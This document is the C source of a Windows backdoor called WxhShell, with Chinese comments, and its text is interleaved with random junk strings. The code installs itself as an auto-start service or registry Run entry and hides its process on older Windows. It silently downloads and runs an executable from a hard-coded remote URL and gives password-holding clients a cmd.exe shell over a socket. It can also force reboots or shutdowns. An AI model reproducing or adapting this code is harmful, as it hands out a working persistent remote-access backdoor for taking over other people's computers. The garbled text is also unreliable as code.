6K if(NULL == hInst ) return 0; .f+TZDUO d;n."+=[x g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a#T]*(Yq) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xeGb?DPu NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E c s,$\ gk`zA if (!NtQueryInformationProcess) return 0; H4]Ul
eU LkQX?2>] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l3 DYg if(!hProcess) return 0; q\H[am ;2Q~0a| if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sUPz/Z.h |F#1C9]P CloseHandle(hProcess); B7]MGXC ``E/m<r:$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <id}<H if(hProcess==NULL) return 0; t|m=J`a{q; n@ G[ HMODULE hMod; |*`Z*6n char procName[255]; )Pv9_XKJ unsigned long cbNeeded; 4V~?. wb~@7,D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qoAj]
") |\n_OS7 CloseHandle(hProcess); n[(Qr9 yV^s,P1 if(strstr(procName,"services")) return 1; // 以服务启动 0>zbCubPH j!3 Gz return 0; // 注册表启动 EAeqLtFqs } VcoOeAKL Qqlup // 主模块 NssELMtF!g int StartWxhshell(LPSTR lpCmdLine) /JT#^Y { Bp@v,)8* SOCKET wsl; KgR<E BOOL val=TRUE; H@l}WihW int port=0; Zv#Ll@v struct sockaddr_in door; <ZB1Vi9}8 -I=l8m6L if(wscfg.ws_autoins) Install(); XU"~h64] 9*a=iL*Nw port=atoi(lpCmdLine); L5,NP5RC P@FHnh3}Z$ if(port<=0) port=wscfg.ws_port; DY^;EZ!hb AFAAuFE" WSADATA data; Xn{1 FJX/ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $LU"?aAW M|Rb&6O if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; x*/S*!vx\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oJfr +3I door.sin_family = AF_INET; F;]%V%F.X door.sin_addr.s_addr = inet_addr("127.0.0.1"); -a-(r'Qc( door.sin_port = htons(port); ,TFIG^Dvq `]W|8M if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |6<p(i7 closesocket(wsl); L`24?Y{ return 1; J_;o|gqX } ? YG)I;( o]opdw if(listen(wsl,2) == INVALID_SOCKET) { rEF0oJ. closesocket(wsl); 7a~X:# return 1; SCz318n } %Z1N;g0 Wxhshell(wsl); s~Te WSACleanup(); /bVoErf
XcjRO#s\ return 0; 0L/n ?bf CvD"sHVq% } iTQD B
$mX3B+a // 以NT服务方式启动 K1T4cUo VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O<V4HUW { ^(FdXGs[ DWORD status = 0; v;ZA4c DWORD specificError = 0xfffffff; wH@Ns~[MA :eCU/BC4 serviceStatus.dwServiceType = SERVICE_WIN32; y~\oTJb serviceStatus.dwCurrentState = SERVICE_START_PENDING; m|G'K[8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o !U
6? serviceStatus.dwWin32ExitCode = 0; a0#J9O_ serviceStatus.dwServiceSpecificExitCode = 0; (I./ Uu% serviceStatus.dwCheckPoint = 0; }1upi=+aE serviceStatus.dwWaitHint = 0; 1aTB%F :*KHx|Q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L'kmNVvYN if (hServiceStatusHandle==0) return; P ! _rEV ;&)-;l7M status = GetLastError(); WILMH`
if (status!=NO_ERROR)
>=-(UA { hr)B[<9 serviceStatus.dwCurrentState = SERVICE_STOPPED; aYSCw3C< serviceStatus.dwCheckPoint = 0; t)}scf&^x serviceStatus.dwWaitHint = 0; \:UIc*S serviceStatus.dwWin32ExitCode = status; @qYp>|AF serviceStatus.dwServiceSpecificExitCode = specificError; [;J>bi;3N SetServiceStatus(hServiceStatusHandle, &serviceStatus); @
rc{SB return; %B.yW`,X } uu>Pkfo :Cj OPl
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5f 5f0|ok serviceStatus.dwCheckPoint = 0; ;67x0)kn serviceStatus.dwWaitHint = 0; h[@tZ(jrY if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e(<str> } FFEfI4&SfS W*I(f]8:y` // 处理NT服务事件,比如:启动、停止 ?o|f': VOID WINAPI NTServiceHandler(DWORD fdwControl) e0,|Wm { q}?4f*WC switch(fdwControl) ys kO { Z'7 case SERVICE_CONTROL_STOP: P`cq H(
serviceStatus.dwWin32ExitCode = 0; ?BZ PwGMs serviceStatus.dwCurrentState = SERVICE_STOPPED; I<6P; serviceStatus.dwCheckPoint = 0; ~G6Ox)/ serviceStatus.dwWaitHint = 0; Vo'T!e- B { 2|*JSU.I SetServiceStatus(hServiceStatusHandle, &serviceStatus);
z\%67C } 1 P!Yxeh return; [UWdW case SERVICE_CONTROL_PAUSE: 9j6QX~, serviceStatus.dwCurrentState = SERVICE_PAUSED; )O@]uY break; |}di&y@-JI case SERVICE_CONTROL_CONTINUE: MjC_ ( cs serviceStatus.dwCurrentState = SERVICE_RUNNING; F}/S:(6LF2 break; 4?q<e*W case SERVICE_CONTROL_INTERROGATE: :x4|X8> break; wMg0> }; !`Hd-&}bYz SetServiceStatus(hServiceStatusHandle, &serviceStatus); fy@<&U5rg } %2{%Obp' |#cm`v // 标准应用程序主函数 =V-|#j int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TI,&!E?; { FwkuC09tI HOJs[mqB% // 获取操作系统版本 `3WFjU5a OsIsNt=GetOsVer(); P"8~$ P# GetModuleFileName(NULL,ExeFile,MAX_PATH); kr9*,E9cv %|q>pin2 // 从命令行安装 ORJIo if(strpbrk(lpCmdLine,"iI")) Install(); mQ|v26R !u[eaLxV // 下载执行文件 +b3RkkC if(wscfg.ws_downexe) { 1e{IC= if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,NyY>~+ WinExec(wscfg.ws_filenam,SW_HIDE); Gsq00j
&<Z } 2Ay*kmW tnN.:%mZ if(!OsIsNt) { nz=GlO'[ // 如果时win9x,隐藏进程并且设置为注册表启动 q(.sq12<<W HideProc(); 3 09hn StartWxhshell(lpCmdLine); |Sy<@oq } )I^7)x else SBfT20z[ if(StartFromService()) yDegcAn? // 以服务方式启动 Kzm+GW3o[ StartServiceCtrlDispatcher(DispatchTable); AicBSqUke else 3yU.& k // 普通方式启动 (mTE;s( StartWxhshell(lpCmdLine); lvBx\e;7P koZ*+VP= return 0; jD<{t } uXJ;A * vZaZc}AyL U4C 9<h& 2a`o
&S =========================================== L\xk:j1[ Ez
fN&8E vyK7I%T'R (3Two} .*Ct bGw $j5K8Ad " emqZztccZ 6z#acE1)M #include <stdio.h> t4zkt!`B #include <string.h> 9=8iy
w #include <windows.h> lhAX;s&9 #include <winsock2.h> t\~P:" #include <winsvc.h> |y!=J$$_H #include <urlmon.h> /v1Q4mq CYs,` #pragma comment (lib, "Ws2_32.lib") fzb29 - #pragma comment (lib, "urlmon.lib") jET{Le8i hIs4@0 #define MAX_USER 100 // 最大客户端连接数 -.u]GeMy #define BUF_SOCK 200 // sock buffer :t8b39 #define KEY_BUFF 255 // 输入 buffer @"Fme-~ j,lT>/ #define REBOOT 0 // 重启 S1Wj8P- #define SHUTDOWN 1 // 关机 *`ua'"="k n22zq6m #define DEF_PORT 5000 // 监听端口 &_dt>. {JZZZY!n2 #define REG_LEN 16 // 注册表键长度 Tc> #define SVC_LEN 80 // NT服务名长度 .w=/+TA r~jm`y // 从dll定义API XHK<AO^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DS.RURzd{r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A}G7l?V& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dMf:h"7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8<S~Z:JK lYVz3p // wxhshell配置信息 dx5#\"KX=, struct WSCFG { 9ifDcYl int ws_port; // 监听端口 ~dgDO:) char ws_passstr[REG_LEN]; // 口令 ?I_s0k I int ws_autoins; // 安装标记, 1=yes 0=no %GjM(;Tk char ws_regname[REG_LEN]; // 注册表键名 p{amC ;cI$ char ws_svcname[REG_LEN]; // 服务名 =9'RM>
char ws_svcdisp[SVC_LEN]; // 服务显示名 F\JM\{&F char ws_svcdesc[SVC_LEN]; // 服务描述信息 #>b3"[ | char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Neq+16*u int ws_downexe; // 下载执行标记, 1=yes 0=no D0&,? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^ =bu(L char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :mh_G m4hX 'F }; E4`N-3 ]/[FR 5> // default Wxhshell configuration \r;#g{
_ struct WSCFG wscfg={DEF_PORT, Vwg|K| "xuhuanlingzhe", bhTb[r 1, &gVN& "Wxhshell", :~b3^xhc^ "Wxhshell", ]fx"4qKM "WxhShell Service", T*8VDY7 "Wrsky Windows CmdShell Service", >BIMi^ "Please Input Your Password: ", f=(?JT 1, [-65PC4aN "http://www.wrsky.com/wxhshell.exe", B8.Pn "Wxhshell.exe" \8)U!9,$nn }; 6]V4muz#c jqWu // 消息定义模块 \f]k CB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <C1H36p char *msg_ws_prompt="\n\r? for help\n\r#>"; C]O(T2l{l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RkH W
char *msg_ws_ext="\n\rExit."; x[wq]q#* char *msg_ws_end="\n\rQuit."; fM]+SMZy char *msg_ws_boot="\n\rReboot..."; @K\~O__ char *msg_ws_poff="\n\rShutdown..."; q}`${3qQ3 char *msg_ws_down="\n\rSave to "; nW PF6V> _GXk0Ia3` char *msg_ws_err="\n\rErr!"; j~2{lCT char *msg_ws_ok="\n\rOK!"; 5gb|w\N> v~f HYa> char ExeFile[MAX_PATH]; A;;fACF8e int nUser = 0; ciFmaM. HANDLE handles[MAX_USER]; q!{y&.&\ int OsIsNt; nF54tR[ |'.*K]Yp SERVICE_STATUS serviceStatus; 1Ce@*XBU SERVICE_STATUS_HANDLE hServiceStatusHandle; yQ_B)b r54&XE]O // 函数声明 !POl;%\ int Install(void); Buf/@B7+\ int Uninstall(void); RY]#<9>M int DownloadFile(char *sURL, SOCKET wsh); `>7;! int Boot(int flag); chcbd
y>C void HideProc(void); 14Xqn8uOW int GetOsVer(void); dT`D:)*: int Wxhshell(SOCKET wsl); 6CV*
Z\b void TalkWithClient(void *cs); |jQ:~2U| int CmdShell(SOCKET sock); =}lh_ int StartFromService(void); 3AHlSX int StartWxhshell(LPSTR lpCmdLine); G! ]k#.^A, K#%&0D! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sd ,J3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); $h2){*5E{ mPOGidxix // 数据结构和表定义 K{x\4 SERVICE_TABLE_ENTRY DispatchTable[] = g-Mj.owu= { X>1,!I9 {wscfg.ws_svcname, NTServiceMain}, sT !~J4 {NULL, NULL} 3VsW@SG7N }; WzPTFw[ -MW_|MG // 自我安装 %z/hf int Install(void) ~k\fhx { zjJ *n8l char svExeFile[MAX_PATH]; 9E
zj" HKEY key; j5K]CTz# strcpy(svExeFile,ExeFile); Hc!
mB B( ]M& // 如果是win9x系统,修改注册表设为自启动 i'a?kSy if(!OsIsNt) { .\[`B.Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xAqb\|$^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YNLV9.P6 RegCloseKey(key); un)4eo!7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %j:]^vqFA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aO]ZZleNS RegCloseKey(key); Z8# (kmBdB return 0; 1e(E:_t } P?8GV%0$ } H;?{BV } '{a/2
l else { )LdP5z- pf%=h
| // 如果是NT以上系统,安装为系统服务 nc~F_i= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jq-p;-i if (schSCManager!=0) 8
BY j { lphFhxJA{ SC_HANDLE schService = CreateService O}tZ - 'T ( 4zASMu schSCManager, 2>|dF~" wscfg.ws_svcname, L;
T8?+ x wscfg.ws_svcdisp, vGc,vjC3x SERVICE_ALL_ACCESS, |S_T^'<W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V_C-P[2~ SERVICE_AUTO_START, Ager$uC SERVICE_ERROR_NORMAL, +awW3^1Ed svExeFile, Da&vb
D-Bg NULL, ,LTH;<zB) NULL, VGfMN|h NULL, @x9a?L.48 NULL, 0Oi,#]F NULL P7J>+cm ); $"`- ^ if (schService!=0) 3!3xCO { XUM!Qv CloseServiceHandle(schService); VcAue!MN CloseServiceHandle(schSCManager); *YW/_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &K[_J strcat(svExeFile,wscfg.ws_svcname); 3t`P@nL0; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J cg,#@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _,zA ^*b RegCloseKey(key); _]04lGx27 return 0; Scp7X7{N } /,1D)0 } \X<bH&x:z CloseServiceHandle(schSCManager); e`@ # *}A } -mC0+}h } w3#Wh|LQ- kUq=5Y `D return 1; W!%]_I!&K } ` BDLW%aL 0n@rLF // 自我卸载 #%`|~%`{: int Uninstall(void) 9)0D~oUi { v$~QU{& HKEY key; ?;KKw* lwHzj&/ ~ if(!OsIsNt) { +)k b( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UUSq$~Ct RegDeleteValue(key,wscfg.ws_regname);
u*e.yN RegCloseKey(key); i#7DR>XF/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WF2}-NU" RegDeleteValue(key,wscfg.ws_regname); IKABB W RegCloseKey(key); A&s:\3*Kh return 0; B,M(@5wz } UV5Ie!\nm } 1lq(PGX)
} %F\?R[^5 else { O>SLOWgha x6(~;J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t]>Lh>G if (schSCManager!=0) &Q+Ln,(&L { z|=}1;(. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kV?y0J. if (schService!=0) 9w"h { M>DaQ`b if(DeleteService(schService)!=0) { kz{/(t CloseServiceHandle(schService); "Weg7mc# CloseServiceHandle(schSCManager); =NOH:#iQ return 0; `1'6bp`Z } i\1TOP|h CloseServiceHandle(schService); T~QWRBO } 9!T[Z/}T CloseServiceHandle(schSCManager); *j]9vktH } eL^.,H0 } NxjB/N
e&7JpT return 1; /[O(ea$U } PH `9MXh ="x\`+U // 从指定url下载文件 ^m?KRm2 int DownloadFile(char *sURL, SOCKET wsh) m6n?bEl6I { 6;C3RU] HRESULT hr; ;epV<{e$q4 char seps[]= "/"; tYZ[68 char *token; }Mo=PWI1? char *file; @|<<H3I char myURL[MAX_PATH]; :{qv~&+C char myFILE[MAX_PATH]; lCAIK yMyE s 8 strcpy(myURL,sURL); 7G.#O}).b token=strtok(myURL,seps); *&?c(JU;< while(token!=NULL) HU%o6c w { K/A*<<r
~ file=token; 8d?g]DEN)6 token=strtok(NULL,seps); j*F`"df } gT$Ju88 <.pU,T/ GetCurrentDirectory(MAX_PATH,myFILE); eAX
)^q strcat(myFILE, "\\"); [PQ?#:r strcat(myFILE, file); 7s"<
'cx_F send(wsh,myFILE,strlen(myFILE),0); VS9`{ send(wsh,"...",3,0); 3BB%Z6F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D!.[q -< if(hr==S_OK) G:<`moKgL return 0; io,M{Ib else i-bJS6 return 1; wB.Nn/p 1c<=A!"{ } m<{<s T .jS~By|r // 系统电源模块 #k_HN}B int Boot(int flag) $Z|ffc1 { F_Y7@Ei/ HANDLE hToken; f` :i.Sr TOKEN_PRIVILEGES tkp; /J04^6 ,S'p%g if(OsIsNt) { XEn*?.e OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _{R=B8Zz\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '&.# tkp.PrivilegeCount = 1; +|bmT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AgV G`q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >y.%xK if(flag==REBOOT) { (WK&^,zQn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [
j3&/ return 0; f@8>HCI } Z-E`> else { *GxTX3i}vc if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jov:]Bic return 0; }| J79s2M } {Z3dF)> } m>4ahue$ else { q6_u@:3u if(flag==REBOOT) { JL\w_v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _@
*+~9%8p return 0; }b=}uiR# }
1WY/6[ else {
emK$`9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '~ ,p[ return 0; WcHgBbNe } vhsk0$f } @O@GRq&V ]wKz E4Z/ return 1; 0PU8#2pR } EI_ Gm9hYhC8 // win9x进程隐藏模块 ,WJH}(h"D void HideProc(void) -RS7h { &VV~%jl;k 4m*M,# mV HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %^1cyk if ( hKernel != NULL ) Q$:![}[( { &^}6
9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2RN)<\ P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u0#}9UKQ FreeLibrary(hKernel); SB5&A_tr } 1Wm)rXW[x c)A{p return; V5GW:QT } U5-@2YcH >nw++[K_ // 获取操作系统版本 TQ`Rk;0R int GetOsVer(void) [@Q_(LQ-U { p=C%Hmd5E OSVERSIONINFO winfo; GrTulN? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7ULqo>j GetVersionEx(&winfo); }';D]c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +V{7")px6 return 1; )ZBY* lk9 else ^2$ lJ return 0; T"&)&"W*U } /Nr*`l E@-KGsdhK // 客户端句柄模块 Yr w$ int Wxhshell(SOCKET wsl) +&Hr4@pgW { c\ia6[3sX SOCKET wsh; c-g)eV|)S struct sockaddr_in client; 5w\fSY DWORD myID; PH*\AZJCl ?UK|>9y}Z while(nUser<MAX_USER) k51Eyy50( { p_UlK8rb int nSize=sizeof(client); F[4;Xq wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {0;3W7 if(wsh==INVALID_SOCKET) return 1; N? 5x9duK M.nvB) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /sr 2mt-Q if(handles[nUser]==0) gqR)IVk>% closesocket(wsh); 25NTIzI@@ else 6<'rG'' nUser++; v^ /Q 8Q } `Pw*_2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `xz<>g9e 4*aZ>R2hO return 0; Ja SI^go }
*]h`KxuO etd&..]J // 关闭 socket ,=aJVb=C void CloseIt(SOCKET wsh) uZZU{U9h { 8scc%t7 closesocket(wsh); %?aS#4jI nUser--; \`, [)` ExitThread(0); Dw7vv]+ S } EwS!]h? `]LSbS // 客户端请求句柄 @Kf_z5tm: void TalkWithClient(void *cs) '+
xu#R { .>wv\i[p j
F-v%? SOCKET wsh=(SOCKET)cs; tTN?r 8 char pwd[SVC_LEN]; \uME+NF char cmd[KEY_BUFF]; ^1Xt]T`e char chr[1]; Qu<Bu)` int i,j; p'sc0@}_O # wc \T while (nUser < MAX_USER) { *WE1;msr =<@\,xN>C
if(wscfg.ws_passstr) { )RYG% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '!P"xBVAu //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qm8)4?FZ //ZeroMemory(pwd,KEY_BUFF); >K# ,cxY i=0; )2DQ>cm while(i<SVC_LEN) { aZKOY +,50qN:%[ // 设置超时 WZ!WxX>zO fd_set FdRead; cL8#S>>u. struct timeval TimeOut; ?EU\}N J FD_ZERO(&FdRead); ;WT{|z FD_SET(wsh,&FdRead); hF3&i=;. TimeOut.tv_sec=8; }j1!j&& TimeOut.tv_usec=0; ;eigOU] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1! p/6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +pH@oFNK 19(Dj&x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XYx6V pwd=chr[0]; ==/n(LBD if(chr[0]==0xd || chr[0]==0xa) { ~#}Dx
:HH pwd=0; Ufo>|A6;$ break; *QM~O'WhD } u)Q;8$` i++; ,jy*1Hjd } +:6Ii9GN +*&cz // 如果是非法用户,关闭 socket -~)OF if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'f/Lv@]a } %;z((3F J
NC send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8_uzpeRhJc send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SW(q$i ;]CVb`d while(1) { >+cVs: <Wl(9$ ZeroMemory(cmd,KEY_BUFF); BbJkdt7 v|
z08\a[ // 自动支持客户端 telnet标准 %K 4
j=0; DE{h5-g while(j<KEY_BUFF) { ZF#Rej? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o%M<-l"!/ cmd[j]=chr[0]; Bk|K%K if(chr[0]==0xa || chr[0]==0xd) { Nq 8@Nyp cmd[j]=0; >s*Drf X6 break; <
/p8r } Mo|wME#M j++; v4*rPGv } % U`xu. ned2lC&'d> // 下载文件 ED![^= if(strstr(cmd,"http://")) { ARh6V&Hi- send(wsh,msg_ws_down,strlen(msg_ws_down),0); w#G2-?aj if(DownloadFile(cmd,wsh)) @?B6aD|jE send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q^eJ4{Ya: else oB c@]T5> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e[Xq } XOb}<y)r~ else { J/D|4fC ),@f6]( switch(cmd[0]) { /k:$l9C[ 83]PA<R // 帮助 'bW5Fr>W case '?': { ]]iO- } send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v:ER4 break; ;Fl<v@9 } cep$_Ja // 安装 ~waNPjPRG case 'i': { M<8ML!N0;t if(Install()) )JgC$ < send(wsh,msg_ws_err,strlen(msg_ws_err),0); |qjZ38;6 else #I\Y=XCY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RU!?-#* break; PE@+w#i7* } 7h<> k*E) // 卸载 fu\s`W6f& case 'r': { iL?iz?+.%@ if(Uninstall()) (fk5' send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-i#BjZl/ else yFIIX=NC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Ic[N& break; OHp5z?
z } R"6;NPeo // 显示 wxhshell 所在路径 2z2` case 'p': { )Id2GV~2B char svExeFile[MAX_PATH]; E)YVfM strcpy(svExeFile,"\n\r"); !G=>ve strcat(svExeFile,ExeFile); |KG&HNfP- send(wsh,svExeFile,strlen(svExeFile),0); IS_Su;w>4 break; $Tl<V/ } k
khE}qSD // 重启 iQ`]ms+ case 'b': { DvT+`X?R send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /8 CY0Ey if(Boot(REBOOT)) *{/@uO send(wsh,msg_ws_err,strlen(msg_ws_err),0); F&@ |M( else { ]A:( L9 closesocket(wsh); sB7" 0M ExitThread(0); o)]FtL:mm } y$oW! break; f~\Xg7< } 6M><(1fT // 关机 $-G`&oT case 'd': { Lar r}o= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^Vo"fI`=C if(Boot(SHUTDOWN)) g6' !v send(wsh,msg_ws_err,strlen(msg_ws_err),0); IcoowZZ else { 70iH0j) closesocket(wsh); >!BFt$sd ExitThread(0); TgaYt\"i[ } h`?k.{})M break; >[3X]n,0 } ,{<Fz% // 获取shell nxRwWj57 case 's': { z}APR@?`n8 CmdShell(wsh); !C`20,U closesocket(wsh); ( pD7 ExitThread(0); fv==Gu%{ break; d.\PS9l } /2w@K_Px6 // 退出 n6cq\@~A case 'x': { VK4/82@5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5bfb!7-[i CloseIt(wsh); _;G=G5r break; Mo|yv[(K, } NhDA7z`b'J // 离开 0M\NS$u(Y case 'q': { H-a^BZ&iU send(wsh,msg_ws_end,strlen(msg_ws_end),0); #JS`e_3Rr closesocket(wsh); wP`sXPSmIu WSACleanup(); cHEz{'1m exit(1); 5B|,S1b break; 3kw}CaZ6 } ,i![QXZ } %yhI;M^ } 3{q[q#" U#"WrWj // 提示信息 D"`[6EN[ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &%:*\_2s } I4ctxMVP } $owb3g(%4 N1s.3` return; _Z.;u0Zp8 } X\'E4 LV\ieM // shell模块句柄 3B -NYJa int CmdShell(SOCKET sock) /Mx.:.A&$ { t.L4%1OF STARTUPINFO si; j $0zD:ppW ZeroMemory(&si,sizeof(si)); ex=)H%_| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5Abz5-^KH si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /khnl9~+ PROCESS_INFORMATION ProcessInfo; LhZZc`|7t char cmdline[]="cmd"; sU0Stg8&b CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i.F8 return 0; &p)@8HY } *F|i&2 9D%qXU // 自身启动模式 hi0XVC95 int StartFromService(void) /!-J53K { %B0w~[!4} typedef struct 5'62ulwMP= { f~U#z7 DWORD ExitStatus; *^ey]),f54 DWORD PebBaseAddress; cNx
\&vpd DWORD AffinityMask; 9n-T5WP DWORD BasePriority; \+G.]|" Y ULONG UniqueProcessId; qT"drgpi3 ULONG InheritedFromUniqueProcessId; T<XfZZ)l<` } PROCESS_BASIC_INFORMATION; |$Qp0vOA} uvR0TIF4 PROCNTQSIP NtQueryInformationProcess; i]LU4y%' \ hrBq^I static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nrI"k2oA@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 48H5_9>: bG"6pU HANDLE hProcess; ~d&'Lp[3 PROCESS_BASIC_INFORMATION pbi; vNPfUEnA A\Lr<{Jh HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5Ws5X_?d if(NULL == hInst ) return 0; ;A
x=]Q #dHr&1( g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gHp'3SnS g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yB
1I53E NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )o86lH"z e',hC0&S if (!NtQueryInformationProcess) return 0; H]Y#pLu| 8y-e+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +GRxHuW, if(!hProcess) return 0; +[>yO _} A1mYkG)l if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }m9S(Wal 6{cybD`Ef& CloseHandle(hProcess); X@i+&Nv"< ]lymY _ > hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j@%K*Gb` if(hProcess==NULL) return 0; (r.$%[,.< ~l;yr
@ HMODULE hMod; 5Xp$yX = char procName[255]; 9` OG unsigned long cbNeeded; ,G916J*XA jK&
Nkp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C}x4#bNK .a
